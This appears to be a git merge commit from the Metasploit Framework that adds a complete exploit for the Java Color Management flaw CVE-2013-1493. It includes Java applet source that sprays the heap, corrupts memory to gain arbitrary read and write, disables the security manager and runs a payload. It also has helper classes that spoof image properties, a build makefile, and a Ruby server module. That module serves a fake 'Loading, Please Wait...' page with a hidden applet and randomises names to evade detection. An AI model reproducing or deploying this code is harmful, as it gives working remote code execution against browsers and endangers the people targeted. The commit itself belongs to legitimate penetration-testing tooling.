Merge branch 'java_cmm' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-java_cmm

unstable
sinn3r 2013-03-27 11:41:46 -05:00
commit 951f95db05
10 changed files with 458 additions and 0 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,232 @@
import java.applet.Applet;
import java.awt.color.ColorSpace;
import java.awt.image.BufferedImage;
import java.awt.image.ColorConvertOp;
import java.awt.image.ColorModel;
import java.awt.image.ComponentColorModel;
import java.awt.image.ComponentSampleModel;
import java.awt.image.SampleModel;
import metasploit.Payload;
public class Init extends Applet {
private static final long serialVersionUID = 1L;
static final int ARRAY_MAGIC = -1341411317;
static final int ARRAY_OLDSIZE = 11;
static final int ARRAY_NEWSIZE = 2147483647;
static final int LEAK_MAGIC = -559035650;
static final int SPRAY_ARRAY_COUNT = 2808685;
static final int SPRAY_LEAK_COUNT = 2000000;
volatile Leak[] _sleaks;
volatile int[][] _sarrays;
volatile int[] _bigArray;
int[] _memBaseObj;
long _memBaseIdx;
long _memBasePtr;
int[] soffsets;
int[] doffsets;
public Init()
{
this.soffsets = new int[] { 0, 1, 2, 3 };
this.doffsets = new int[] { 0, 1, 2, 50000000 };
}
void spray() throws Exception
{
Runtime.getRuntime().gc();
Runtime.getRuntime().gc();
this._sleaks = new Leak[2000000];
this._sarrays = new int[2808685][];
try
{
for (int i = 0; i < this._sarrays.length; i++) {
this._sarrays[i] = new int[11];
for (int j = 0; j < this._sarrays[i].length; j++) {
this._sarrays[i][j] = -1341411317;
}
}
for (int i = 0; i < this._sleaks.length; i++)
this._sleaks[i] = new Leak("L");
}
catch (OutOfMemoryError localOutOfMemoryError)
{
}
}
void getBigArray() throws Exception
{
for (int i = 0; i < this._sarrays.length; i++) {
for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
this._sarrays[i][j] = -1341411317;
}
}
for (int i = 0; i < this._sarrays.length; i++) {
if (this._sarrays[i].length != 2147483647) {
for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) {
if ((j > 0) && (this._sarrays[i][(j - 1)] != -1341411317) && (this._sarrays[i][j] == -1341411317)) {
this._sarrays[i][(j - 1)] = 2147483647;
}
}
}
}
for (int i = 0; i < this._sarrays.length; i++) {
if ((this._sarrays[i].length == 11) || (this._bigArray != null) || (this._sarrays[i].length != 2147483647))
continue;
this._bigArray = this._sarrays[i];
}
if (this._bigArray == null)
throw new Exception("fail");
}
long getAddress(Object obj) throws Exception
{
for (int i = 0; i < this._bigArray.length; i++) {
if (this._bigArray[i] == -559035650) {
int flag = 0;
for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null;
flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0);
for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X";
flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0);
if (flag == 2) {
for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj;
return this._bigArray[(i + 1)];
}
}
}
throw new Exception("fail");
}
void getMemBase() throws Exception
{
for (int i = 0; i < this._sarrays.length; i++) {
for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
this._sarrays[i][j] = (j == 1 ? i : -1341411317);
}
}
for (int i = 0; i < this._bigArray.length; i++) {
if ((i > 0) && (this._bigArray[(i - 1)] != -1341411317) && (this._bigArray[i] == -1341411317) && (this._bigArray[(i + 1)] != -1341411317)) {
int len = this._bigArray[(i - 1)];
int idx = this._bigArray[(i + 1)];
if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) {
this._memBaseObj = this._sarrays[idx];
this._memBaseIdx = i;
break;
}
}
}
if (this._memBaseObj == null) {
throw new Exception("fail");
}
this._memBasePtr = getAddress(this._memBaseObj);
if (this._memBasePtr == 0L) {
throw new Exception("fail");
}
this._memBasePtr += 12L;
}
int rdMem(long addr)
{
long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
if ((offs >= 0L) && (offs < 2147483647L)) {
return this._bigArray[(int)offs];
}
return 0;
}
void wrMem(long addr, int value)
{
long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
if ((offs >= 0L) && (offs < 2147483647L))
this._bigArray[(int)offs] = value;
}
void privileged()
{
try
{
Payload.main(null);
} catch (Exception localException) {
//localException.printStackTrace();
}
}
public void init()
{
try
{
if (System.getSecurityManager() == null) {
privileged();
return;
}
int sWidth = 168; int sHeight = 1;
int spStride = 4; int ssStride = spStride * sWidth;
int dWidth = sWidth; int dHeight = sHeight;
int dpStride = 1; int dsStride = 0;
ColorSpace scs = new MyColorSpace(0, this.soffsets.length - 1);
ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0);
SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets);
BufferedImage sbi = new MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm);
for (int i = 0; i < ssStride; i++) {
sbi.getRaster().getDataBuffer().setElem(i, 1);
}
ColorSpace dcs = new MyColorSpace(0, this.doffsets.length - 1);
ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0);
SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets);
BufferedImage dbi = new MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm);
ColorConvertOp cco = new ColorConvertOp(null);
spray();
try
{
cco.filter(sbi, dbi);
}
catch (Exception localException) { }
getBigArray();
getMemBase();
long sys = getAddress(System.class);
long sm = getAddress(System.getSecurityManager());
sys = rdMem(sys + 4L);
for (int i = 0; i < 2000000; i++) {
long addr = sys + i * 4;
int val = rdMem(addr);
if (val == sm) {
wrMem(addr, 0);
if (System.getSecurityManager() == null) {
break;
}
}
}
privileged();
}
catch (Exception localException1)
{
}
}
}

View File

@ -0,0 +1,14 @@
class Leak
{
public volatile int magic;
public volatile Object obj;
public volatile Object obj2;
public volatile Object obj3;
public volatile Object obj4;
public Leak(Object o)
{
this.magic = -559035650;
this.obj = o;
}
}

View File

@ -0,0 +1,20 @@
CLASSES = \
Init.java \
Leak.java \
MyBufferedImage.java \
MyColorSpace.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.5 -target 1.5 -cp "../../../../data/java:." $*.java
all: $(CLASSES:.java=.class)
install:
mv Init.class ../../../../data/exploits/cve-2013-1493/
mv Leak.class ../../../../data/exploits/cve-2013-1493/
mv MyBufferedImage.class ../../../../data/exploits/cve-2013-1493/
mv MyColorSpace.class ../../../../data/exploits/cve-2013-1493/
clean:
rm -rf *.class

View File

@ -0,0 +1,49 @@
import java.awt.image.BufferedImage;
import java.awt.image.ColorModel;
import java.awt.image.SampleModel;
class MyBufferedImage extends BufferedImage
{
int _fakeType;
ColorModel _fakeColorModel;
SampleModel _fakeSampleModel;
public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel)
{
super(width,height, imageType);
this._fakeType = fakeType;
this._fakeColorModel = fakeColorModel;
this._fakeSampleModel = fakeSampleModel;
}
public int getType()
{
String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
if (caller.contains("ICC_Transform.getImageLayout(")) {
return this._fakeType;
}
return super.getType();
}
public ColorModel getColorModel()
{
String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
if ((caller.contains("ICC_Transform.getImageLayout(")) || (caller.contains("CMMImageLayout.<init>("))) {
return this._fakeColorModel;
}
return super.getColorModel();
}
public SampleModel getSampleModel()
{
String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
if (caller.contains("ICC_Transform.getImageLayout(")) {
return this._fakeSampleModel;
}
return super.getSampleModel();
}
}

View File

@ -0,0 +1,15 @@
import java.awt.color.ColorSpace;
class MyColorSpace extends ColorSpace
{
private static final long serialVersionUID = 1L;
public MyColorSpace(int type, int numcomponents)
{
super(type,numcomponents);
}
public float[] fromCIEXYZ(float[] value) { return null; }
public float[] toCIEXYZ(float[] value) { return null; }
public float[] fromRGB(float[] value) { return null; }
public float[] toRGB(float[] value) { return null; }
}

View File

@ -0,0 +1,128 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java CMM Remote Code Execution',
'Description' => %q{
This module abuses the Color Management classes from a Java Applet to run
arbitrary Java code outside of the sandbox as exploited in the wild in February
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
systems. This exploit doesn't bypass click-to-play, so the user must accept the java
warning in order to run the malicious applet.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and Exploit
'juan vazquez' # Metasploit module (just ported the published exploit)
],
'References' =>
[
[ 'CVE', '2013-1493' ],
[ 'OSVDB', '90737' ],
[ 'BID', '58238' ],
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
[ 'URL', 'http://pastie.org/pastes/6581034' ]
],
'Platform' => [ 'win', 'java' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 01 2013'
))
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")
@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")
@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")
@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@init_class_name = rand_text_alpha("Init".length)
@init_class.gsub!("Init", @init_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@init_class_name}.class", @init_class)
jar.add_file("Leak.class", @leak_class)
jar.add_file("MyBufferedImage.class", @buffered_image_class)
jar.add_file("MyColorSpace.class", @color_space_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end
end